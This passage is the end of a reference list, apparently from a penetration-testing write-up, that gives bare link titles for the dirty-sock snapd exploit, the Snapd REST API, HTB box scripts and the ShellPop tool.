  2. dirty-sock write-up
  3. dirty-sock repo
  4. Snapd REST API
  5. htb-scripts-for-retired-boxes
  6. ShellPop

comments powered by Disqus